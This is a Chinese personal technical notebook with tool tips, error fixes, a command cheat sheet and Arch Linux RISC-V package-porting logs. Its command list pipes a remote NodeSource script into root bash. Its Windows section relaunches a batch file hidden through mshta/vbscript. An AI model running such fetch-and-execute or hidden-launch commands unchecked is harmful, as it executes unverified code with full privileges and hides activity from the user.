  • vim golf —— 一个游戏，以最少按键次数完成任务
  • wc，word count，文本计数
  • sort，排序
  • uniq，去重
  • paste，粘贴
  • bc，berkeley calculator，简易命令行计算器
  • xorg 接受多输出，然后将其转化为命令行的参数
  • writegood 英语语法和单词静态分析器

编译相关

riscv64 和 riscv64gc

riscv64gc=riscv64imacfdZicsrZifencei

  • i是base int inst，integer
  • m是乘除拓展
  • a是原子操作拓展，atomic
  • c是压缩指令，compress
  • f是单精度硬浮点，float
  • d是双精度硬浮点，double
  • Zicsr是CSR寄存器及其操作
  • Zifencei是 inst-fetch fence
  • 最后这俩2.2的时候是i的一部分
  • 上面的去掉c简称g，general

格式说明

  • build：现在编译编译器的平台
  • host：编译器跑的平台
  • target：编译器编译出来的二进制跑的平台

soname

  • 指 .so name。

namcap

  • pacman 的反写， 是 pkgbuild 以及 arch 包的检查工具

  • 官方定义如下：

    Namcap is a tool to check binary packages and source PKGBUILDs for common packaging mistakes, which can also be automatically enabled.

  • 一般会出现在 archbuild 的最后： No soname differences for <package>.

  • 可以视为是 soname capture 的扩展，但不止检查 soname，也会检查其他的，如对齐，relocation，PIC 之类

  • 如果有 soname difference，所有依赖这个包的包就都需要重新 rebuild，否则在运行的时候就会出现 找不到 xxx.so.y 提示。于是需要一个机制来告诉 packager：有这种变动发生了，你需要去规划一下如何 rebuild。

C++ 相关

  • If ‘const’ key word is ahead, then the content can’t be changed. If is between type and variable name, then the address in the ROM/RAM can be changed.

MySQL 相关

MySQL 8.0 Windows My.ini 文件位置

  • 打开命令行，输入 echo %PROGRAMDATA%
  • MySQL 会首先查找 %PROGRAMDATA%\MySQL\MySQL Server 5.6\my.ini 文件
  • 一般 %PROGRAMDATA% 为 C:\ProgramData，而此文件夹是隐藏的，需要打开查看隐藏文件选项
  • 编辑即可

开启 binlog

  1. 找到 my.ini 文件
  2. 添加如下配置
# binlog 名称，随便取名
log-bin="MYSQL-bin"
# binlog 格式，可选 STATEMENT，ROW 或者 MIXED
# 对于 canal 只能选择 ROW
binlog-format=ROW
# 有关 replication，需要定义
# 不能与从机的 slaveId 相同
server_id=1
  1. 重启 MySQL

Errors

连接 Github 出问题

端口被拒，仔细查看 ssh 连接过程：

ssh -vT git@github.com

若 DNS 解析错误，在 HOST 里面加上 github。

缺少 javaee 依赖

Cannot resolve symbol 'annotation' / Add Java EE 6 Jars to Module Dependencies

在 pom.xml 中添加 javax 的 javaee-api 即可

没有合适的驱动

No suitable driver found for jdbc:mysql://localhost:3306/train?autoReconnect=true&useUnicode=true&characterEncoding=utf8&useSSL=true&serverTimezone=UTC

  • 没有合适的驱动。

  • 在自己的取得连接的方法中 (getConnection) 加上以下代码：

Class.forName("com.mysql.cj.jdbc.Driver");
  • 或者给自己的工程添加依赖 Project Structure->Libraries->添加解析 jar 包

前端调用后端接口 404

降低 tomcat 版本，从 10 降到 7。

VMware

  • VMware 与 Device/Credential Guard 不兼容。注意：无法与 WSL 共存。

  • # 解决方案：
bcdedit /set hypervisorlaunchtype off
# 重新开启：
bcdedit /set hypervisorlaunchtype auto

Git

无法添加文件

error: '' does not have a commit checked out fatal: adding files failed when inputting "git add ." in command prompt

  • 删去子文件夹中的 .git 仓库。

If you have a subdirectory with a .git directory and try to git add . you will see this message.

This can happen if you have a git repo and then create/clone another repo in a subdirectory under that repo.

https://stackoverflow.com/questions/56873278/how-to-fix-error-filename-does-not-have-a-commit-checked-out-fatal-adding

无法远程提交文件

Support for password authentication was removed on August 13, 2021. Please use a personal access token instead.

在 IntelliJ 系列 IDE 中进行代码提交时，使用 Github 生成的 Personal Access Token 作为密码提交。Github 从 2021 年 8 月 13 日开始不再支持密码验证。

https://github.blog/changelog/2021-08-12-git-password-authentication-is-shutting-down/

本地分支远程分支关联错误

git branch --set-upstream-to=origin/<correct_remote_branch_name> 建立正确的关联。

  • 注意：此处的 origin 是指当前所在的远程仓库，默认为此名字 。

Maven

程序包不存在

  • java: 程序包 org.springframework.boot 不存在

  • 删除 Maven 的 Repository 文件夹里的所有文件，重新下载（请确保 Maven 一定配置正确了，并且 Maven 的 settings.xml 和 Repository 都存在）。

依赖丢失

  • Dependency 'org.springframework.boot:spring-boot-starter-web:' not found（pom.xml 报错）
  • 请正确配置 Maven（确保 Maven 的 settings.xml 和 Repository 都存在），然后 mvn clean && mvn compile。

无法启动 SpringBoot 项目

IDEA 环境

  • 表现为没有绿色三角运行符号
  • 正确配置 Java（一定要有环境变量）和 Maven，然后 Project Structure，修改对应 SDKs，Language Level，和 Module Language Level。若还是无法启动，修改 pom.xml 里面的 java.version 或者升降 JDK 版本，然后重新 mvn compile。

Visual Studio Code 环境

  • pox 报错：

    Project build error: Non-resolvable parent POM for com.example:demo:0.0.1-SNAPSHOT: org.springframework.boot:spring-boot-starter-parent:pom:3.0.2 failed to transfer from https://repo.maven.apache.org/maven2 during a previous attempt. This failure was cached in the local repository and resolution is not reattempted until the update interval of central has elapsed or updates are forced. Original error: Could not transfer artifact org.springframework.boot:spring-boot-starter-parent:pom:3.0.2 from/to central (https://repo.maven.apache.org/maven2): Connect timed out and 'parent.relativePath' points at no local POM

  • 依赖没有正确下载或者加载，删掉默认文件夹（一般是 %USER_HOME%/.m2）重新编译下载就行。

  • Maven 在 VSCode 里面好像改不了默认 repository 的位置，不知道为什么

无法编译

  • pom.xml 所有配置项均正确，但就是运行不起来
  • 正确配置 Java（一定要有环境变量）和 Maven，确保 JDK 各个版本对应相同（如环境变量和 Project，Project 和 Module 等），最后确保 IDEA 能够处理当前 JDK 版本（如 IDEA2020 无法处理 JDK17，需要升级），然后重新 mvn compile。

Docker

systemctl start docker 失败

  • 报错
    failed to start daemon: Error initializing network controller:  error obtaining controller instance: failed to create NAT chain DOCKER: iptables failed: iptables -t nat -N DOCKER: iptable `filter': Table does not exist (do you need to insmod?)\nPerhaps iptables or your kernel needs to be upgraded.`" error="exit status 3"
    Perhaps iptables or your kernel needs to be upgraded.
    (exit status 3)
    docker.service: Main process exited, code=exited, status=1/FAILURE
  • 一般是 arch linux 滚包之后需要重新安装内核，重启即可

Commands

Docker

  • 删除所有容器
sudo docker stop $(sudo docker ps -a -q) && sudo docker rm $(sudo docker ps -a -q)

Node

  • 安装
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -

Git

  • clone 加速
git clone -c http.proxy="http://127.0.0.1:7890" <repo_https_address>
cd <repo>
git remote set-url origin <repo_git_address>
  • 删除远程分支
git push origin --delete [remote_branch_name]

Rust

  • Rust 和 Cargo 升级
rustup update
  • mdbook 修改端口号
mdbook serve --open --port <port>

Linux

General

  • 修改用户密码
sudo passwd <user>

Distribution

Ubuntu

  • 显示已安装的软件包
sudo apt list --installed
  • 切换 JDK 版本
update-alternatives --config java

Arch Linux

其他知识

Windows

自定义脚本开机运行

  • Win + R：shell:startup
  • 编写 .bat 脚本放置在弹出的目录下即可

CMD 后台运行

  • 在 .bat 文件开头加入下面几行：
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin

查看电脑型号

  • wmic csproduct get name

打印机

惠普打印机驱动

安装操作耗时过长，无法执行

症状

安装操作耗时过长，无法执行。这是一种会造成产品不能使用的严重错误。

请重新启动计算机，然后再次运行此安装程序。如果问题仍然存在，请查看相应产品的产品支持网站。

解决方案

1.确保打印机 hp smart install 处于关闭状态；

2.usb 连接无误；

3.驱动与打印机型号对应；

4.如果用 usb 连接方式还是死活安装不上，提示安装时间过长的话，用无线方式安装，选择手动输入，让驱动程序自己检测，检测出来不支持或者找不到之后直接返回上一步，然后惠普的破烂驱动就能自己安装和配置驱动了。

ArchRISC-V

2022 年 6 月 1 日起，实习于：中国科学院软件研究所——程序语言与编译技术实验室（PLCT）。

分组于：Arch Linux RISC-V 小组。

故，此处收录所有工作相关技术内容和技术文档，一方面作为记录，另一方面作为考核途径。

许多英文内容请注意。

Packages

Description

修复软件包过程中，所使用的的方法和结果文档。

使用软件包名作为文件名，分文件进行记录。过于简单的软件包不做文档记录。

TODOList

下列是打算攻克的软件包名：

  • molecule-docker(已被他人修复，缺少依赖)
  • lapce
  • fluidd
  • ltrace
  • libretro-pcsx2
  • memcached
  • libffado (已被他人修复，硬编码 config.guess)

FixedList

  • dump_syms (ring trivial)
  • perl-file-rsyncp (config.guess trivial)
  • ninja (noqemu)
  • openipmi (config.guess trivial)
  • taplo-cli (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • cargo-edit (rotten)
  • bupstash (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • gnuchess (config.guess trivial)
  • git-grab (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • libicns (config.guess trivial)
  • wxsqlite3 (config.guess trivial)
  • cargo-tauri (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • grafana-agent (update go 1.19)
  • system-config-printer (config.guess trivial)
  • auth-tarball-from-git (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • dante (config.guess trivial)
  • iftop (config.guess trivial)
  • link-grammar (config.guess trivial)
  • arti (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • distrobuilder (fix-static-declaration-of-lxd patch)
  • gsoap (config.guess trivial)
  • libopenraw (config.guess trivial)
  • cargo-binstall (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • cargo-tauri (rotten)
  • slang (config.guess trivial)
  • hexyl (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • libetonyek (config.guess trivial)
  • updlockfiles (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • sequoia-wot (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • gfold (rotten)
  • cargo-depgrapph (rotten)
  • alacritty (rotten)
  • eva (rotten)
  • stylua (rotten)
  • cargo-auditable (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • buddy (config.guess trivial)
  • arch-audit-gtk (ring trivial)
  • httrack (config.guess trivial)
  • libwps (config.guess trivial)
  • libwpd (config.guess trivial)
  • dra (Rust --target "$CARCH-unknown-linux-gnu" trivial)
  • ostree (rotten)
  • dub (rotten)
  • onefetch (rotten)
  • rust-bindgen (Rust --target "$CARCH-unknown-linux-gnu" trivial)

fluidd

第一次

报错信息

node: error while loading shared libraries: libicui18n.so.70: cannot open shared object file: No such file or directory

尝试

  1. prepare() 加上 sudo pacman -S <name>，<name> 替换成 icu，libicu， libicui18n。失败。
  2. 查询信息，可能是系统和 icu 库版本问题，prepare() 加上 pacman -Syu 或 pacman -Syyu。失败。
  3. 同1.，位置在 makedepends。失败。

附注

  • 查询资料，m4 宏定义位于 configure.ac。 Stack Overflow 原文：

    You may want to add AC_CONFIG_MACRO_DIR to configure.ac to the directory where the macro is:

    AC_CONFIG_MACRO_DIR([path/to/macros])

    You'll need to invoke the macro somewhere in this file also.

imagescan

第一次

报错信息

configure: error: cannot guess build type; you must specify one

解决

  1. 在 prepare() 中添加：

    cd ${pkgname}-${pkgver}
autoupdate
autoreconf -fiv
cd -
  • 编译构建，解决。

第二次

报错信息

./configure: line 25005: syntax error near unexpected token `newline'

./configure: line 25005: ` ' ' '

解决

  • vim 跳转到 25005 行，代码如下：
case $as_dir in #(((
    ''
fi as_dir=./ ;;
    */) ;;
    *) as_dir=$as_dir/ ;;
esac
  • vim 搜索 as_dir，顺着 configure 往上爬，发现一个类似结构：
case $as_dir in #(((
    '') as_dir=./ ;;
    */) ;;
    *) as_dir=$as_dir/ ;;
esac
  • 定位原因：autotools 将 ) 替换为 fi。
  • 比对原始 configure，复制一份 configure.bak，然后生成 patch：
cp ./configure ./configure.bak
# vim 修改 configure
git diff --no-index ./configure ./configure.bak > tmp.patch
  1. 将 patch 引入 PKGBUILD 中的 source，然后添加 sha256sum 校验。
# 将 patch 添加进 source
# 将 patch 的 sha256 添加进 sha256sums，sha256 校验值的获得通过如下命令：
sha256sum tmp.patch
# 将 prepare() 函数中，打入 patch，注意 -NpX 中的 X 根据 patch 层级改变而改变
prepare() {
  # before... 
  autoupdate
  autoreconf -fiv
  patch -Np0 -i ../tmp.patch
  # after...
}
  • 编译构建，解决。

第三次

报错信息

./configure: line 25166: syntax error near unexpected token `)'

./configure: line 25166: `esac)'

解决

  1. 问题同上，很明显需要将 esac 后的 ) 删除，解决方式相同。patch 文件需要重新 sha256sum，文件里面会有两处修改，一处第二次，一处第三次。
  • 编译构建，解决。

第四次

报错信息

./configure: line 29008: syntax error: unexpected end of file

未解决

  • 不期望的文件结束，猜测可能有两种结果：
    • 代码没有写完；
    • bash 的 if .. fi 或者 for .. done 没有凑齐，如第一次，多出来 fi。
  • vim 跳转 29008 行，发现是文件结尾，检查末尾附近，bash 格式没有问题。
  • 临近末尾有版权信息，vim 搜索 Copyright，发现许多处版权信息没有使用注释的格式。
  • 仔细观察发现许多地方有 _ACEOF 和 _LT_EOF 标识，临近结尾许多地方在 vim 中颜色标识不一样，可能 EOF 中间没有正常中止，但是没有经过检验。
  • 汇报上游。

思考

  1. 经过第二次和第三次，怀疑是 autoreconf 的问题。

    • risc-v 架构：
      • 未添加 reconf 报不能猜测类型；
      • 添加 reconf 报各种 bash 语法错误。
    • x86_64 架构：
      • 未添加 reconf 未检验；
      • 添加 reconf 报相同的 bash 语法问题（架构加不加入 risc-v 结果相同）。 
        # 效果相同
arch=('x86_64')
arch=('x86_64' 'riscv64')

  2. 经过询问，发现之前有人报过 issue。

综合解决方案

向 imagescan 上游汇报一下 config.guess 过老的问题。然而此方案 autotools 本身的问题还是没有解决。

libopenraw

第一次

报错信息

configure: error: cannot guess build type; you must specify one

解决

  1. 在 prepare() 中添加：

    cd ${pkgname}-${pkgver}
autoupdate
autoreconf -fiv
cd -
  • 编译构建，解决。

第二次

报错信息

./configure: line 17110: syntax error near unexpected token `noext,mandatory'

./configure: line 17110: `AX_CXX_COMPILE_STDCXX_14(noext,mandatory)'

解决

  • 查看 configure 文件相应位置，发现大概是 m4 宏未展开，遂尝试修复。

  • 未发现 AX_CXX_COMPILE_STDCXX_14 宏定义：

    • m4 文件夹下每一个 .m4 文件；
    • 源码文件夹下 aclocal.m4 文件。

  • 发现是 autoreconf 之后删除了宏定义：

    • 删除 autoreconf 之后，宏定义位于源码文件下 aclocal.m4 文件中。

    • 阅读注释，需要下载 ax_cxx_compile_stdcxx.m4 。 同时可能需要将此文件 patch 到 autoreconf 之后的 aclocal.m4 中。

      If you want to use this macro, you also need to download the ax_cxx_compile_stdcxx.m4 file.

    • 搜索上述文件，加入 source 和 b2sums，发现仍然不行。

    • 然后翻源码文件夹下 aclocal.m4 发现未添加进 m4 列表，尝试引入。

  1. 将各部分应修改的位置 patch 进源码。
  • 编译构建，解决。

第三次

报错信息

./configure: line 19399: syntax error near unexpected token `-fvisibility=hidden'

./configure: line 19399: `AX_APPEND_COMPILE_FLAGS(-fvisibility=hidden)'

未解决

  1. 大概是同样的错误，于是寻找 AX_APPEND_COMPILE_FLAGS，后放弃。
  • 汇报上游。

第四次（上游回复）

If you have autoconf-archive it should work, that's where the AX_* macro are (and that what Google will send you to)

However, when C++14 became required, the local files where not upgraded. This will be in the next release.

详见 #11。

根据上游指示，尝试使用 autoconf-archive 进行修复。

解决

  1. 在 PKGBUILD 里加入 autoconf-archive：
makedepends=('autoconf-archive')
  • 编译构建，解决。

第五次

报错信息

error: process didn't exit successfully: rustc -vV (exit status: 127)

--- stderr rustc: error while loading shared libraries: libLLVM-13.so: cannot open shared object file: No such file or directory

解决

  1. 在 PKGBUILD 里加入 llvm13：
makedepends=('llvm13')
  • 编译构建，解决。
  • 随后了解到，此报错信息属于 LLVM 自身问题，虽然能通过编译，但是改动不合法，需要静待 LLVM13 维护者更新解决。

思考

  • 是否可以使用 wget 等工具在线直接下载 AX_CXX_COMPILE_STDCXX 和 AX_CXX_COMPILE_STDCXX_14，然后直接加入 source 或者 dependencies？

综合解决方案

从上游回复处，遵循给出的解决方案，解决问题。随后静待 LLVM13 维护者更新。

2022 年 9 月 13 日 更新

LLVM13 更新之后，综合第一次和第四次的方案，成功出包。

gnuchess

第一次

报错信息

uname -m = riscv64
uname -r = 5.18.7-arch1-1
uname -s = Linux
uname -v = #1 SMP PREEMPT_DYNAMIC Sat, 25 Jun 2022 20:22:01 +0000

/usr/bin/uname -p = unknown
/bin/uname -X     = 

hostinfo               = 
/bin/universe          = 
/usr/bin/arch -k       = 
/bin/arch              = 
/usr/bin/oslevel       = 
/usr/convex/getsysinfo = 

UNAME_MACHINE = riscv64
UNAME_RELEASE = 5.18.7-arch1-1
UNAME_SYSTEM  = Linux
UNAME_VERSION = #1 SMP PREEMPT_DYNAMIC Sat, 25 Jun 2022 20:22:01 +0000
configure: error: cannot guess build type; you must specify one

解决

  1. 在 PKGBUILD 的 prepare() 中添加：

    autoupdate
autoreconf -fiv
  • 编译构建，解决。

第二次

报错信息

make[1]: Entering directory '/build/gnuchess/src/gnuchess-6.2.9/man'
/bin/sh '/build/gnuchess/src/gnuchess-6.2.9/missing' help2man --name='GNU Chess' --info-page='gnuchess' ../src/gnuchess -o gnuchess.1
/build/gnuchess/src/gnuchess-6.2.9/missing: line 81: help2man: command not found
WARNING: 'help2man' is missing on your system.
         You should only need it if you modified a dependency of a man page.
         You may want to install the GNU Help2man package:
         <https://www.gnu.org/software/help2man/>
make[1]: *** [Makefile:560: gnuchess.1] Error 127
make[1]: Leaving directory '/build/gnuchess/src/gnuchess-6.2.9/man'
make: *** [Makefile:518: all-recursive] Error 1

解决

  • 阅读报错消息是 help2man: command not found，没有找到命令，下文 WARNING: 'help2man' is missing on your system 也提示可能本机缺少 help2man 这个包。

  1. 将 help2man 加入 PKGBUILD 的 makedepends 中，参与构建 gnuchess 的编译。

    makedepends=('help2man')
  • 编译构建，解决。

思考

  1. 在打包成功的日志后发现如下输出：

    Checking PKGBUILD
Checking gnuchess-6.2.9-2-riscv64.pkg.tar.zst
gnuchess W: Dependency included and not needed ('help2man')
==> Running checkpkg
  -> Checking packages
==> No soname differences for gnuchess.

    gnuchess W: Dependency included and not needed ('help2man')：包含，但不需要 help2man 依赖。

    是否可以将 depends 替换成 makedepends，将 help2man 降级为编译时依赖，仅仅参与编译？

  • 解决：后续测试通过，并且没有上述那句话。

    Checking PKGBUILD
Checking gnuchess-6.2.9-2-riscv64.pkg.tar.zst
==> Running checkpkg
  -> Checking packages
==> No soname differences for gnuchess.

综合解决方案

向 gnuchess 上游汇报 config.guess 过老的问题，然后遵循上述报错解决的步骤。

SVT-VP9

错误排查

  1. 找到错误源

    几乎所有错误都是在报 fatal error: immintrin.h: No such file or directory。

  2. 上网查资料

    发现有很多软件都报这个错误，然后有人说此头文件是 x86_64 only 的，遂上报 issue，然后等待上游回应。

  3. 后来组里有人说，与 HEVC 不同，VP9 在兼容模式下可能运行成功，提出了一种解决方案，但是暂时还没有尝试。尝试后更新记录。

Issue 上报

Hello, I'm from ArchRISC-V Team, a community porting Arch Linux software to RISC-V architecture.

Description

When post SVT-VP9, we encountered compile error. Looking up the log, we find immintrin.h head file, which leaded this fail.

After searching some docs, we got a depressed truth: it seems that this head file is for x86_64 only.

Are there some alternatives for it?

  • https://github.com/suijingfeng/vkQuake3/issues/14#issuecomment-674390549
  • https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=262910#c3
  • https://www.betamaster.us/blog/?p=1922

Last

If alternatives don't exist, you can give me some advice about the build process or something else.

Sincerely thanks.

:)

Appendix: Failed log

CMake Deprecation Warning at CMakeLists.txt:6 (cmake_minimum_required):
  Compatibility with CMake < 2.8.12 will be removed from a future version of
  CMake.

  Update the VERSION argument <min> value or use a ...<max> suffix to tell
  CMake that the project does not need compatibility with older versions.


-- The C compiler identification is GNU 12.1.1
-- The ASM_NASM compiler identification is NASM
-- Found assembler: /usr/bin/nasm
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- CMAKE_C_COMPILER = /usr/bin/cc
-- CMAKE_ASM_NASM_COMPILER = /usr/bin/nasm
-- CMAKE_AR = /usr/bin/ar
-- CMAKE_RANLIB = /usr/bin/ranlib
-- CMAKE_INSTALL_PREFIX = /usr
-- Performing Test C_FLAG_Wall
-- Performing Test C_FLAG_Wall - Success
-- Performing Test C_FLAG_Wextra
-- Performing Test C_FLAG_Wextra - Success
-- Performing Test C_FLAG_Wformat
-- Performing Test C_FLAG_Wformat - Success
-- Performing Test C_FLAG_Wformat_security
-- Performing Test C_FLAG_Wformat_security - Success
-- Performing Test C_FLAG_fPIE
-- Performing Test C_FLAG_fPIE - Success
-- Performing Test C_FLAG_fPIC
-- Performing Test C_FLAG_fPIC - Success
-- Performing Test C_FLAG_D_FORTIFY_SOURCE_2
-- Performing Test C_FLAG_D_FORTIFY_SOURCE_2 - Success
-- Performing Test C_FLAG_fvisibility_hidden
-- Performing Test C_FLAG_fvisibility_hidden - Success
-- Performing Test C_FLAG_GS
-- Performing Test C_FLAG_GS - Failed
-- Performing Test C_FLAG_sdl
-- Performing Test C_FLAG_sdl - Failed
-- Performing Test C_FLAG_fstack_protector_strong
-- Performing Test C_FLAG_fstack_protector_strong - Success
-- Performing Test C_FLAG_msse2
-- Performing Test C_FLAG_msse2 - Failed
-- Performing Test C_FLAG_mssse3
-- Performing Test C_FLAG_mssse3 - Failed
-- Performing Test C_FLAG_msse4_1
-- Performing Test C_FLAG_msse4_1 - Failed
-- Performing Test C_FLAG_mavx2
-- Performing Test C_FLAG_mavx2 - Failed
-- Configuring done
-- Generating done
-- Build files have been written to: /build/svt-vp9/src/build
ninja: Entering directory `build'
[1/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_context_tree.c.o
[2/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_common_data.c.o
[3/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_filter.c.o
[4/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/fwd_txfm.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/fwd_txfm.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/fwd_txfm.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/fwd_txfm.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/fwd_txfm.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/fwd_txfm.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/fwd_txfm.c:12:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[5/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/quantize.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/quantize.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/quantize.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/quantize.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/quantize.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/quantize.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/quantize.c:13:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[6/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/intrapred.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/intrapred.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/intrapred.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/intrapred.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/intrapred.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/intrapred.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/intrapred.c:16:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[7/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_dct.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_dct.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_dct.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_dct.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_dct.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_dct.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_rtcd.h:19,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_dct.c:12:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[8/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_quantize.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_quantize.c.o 
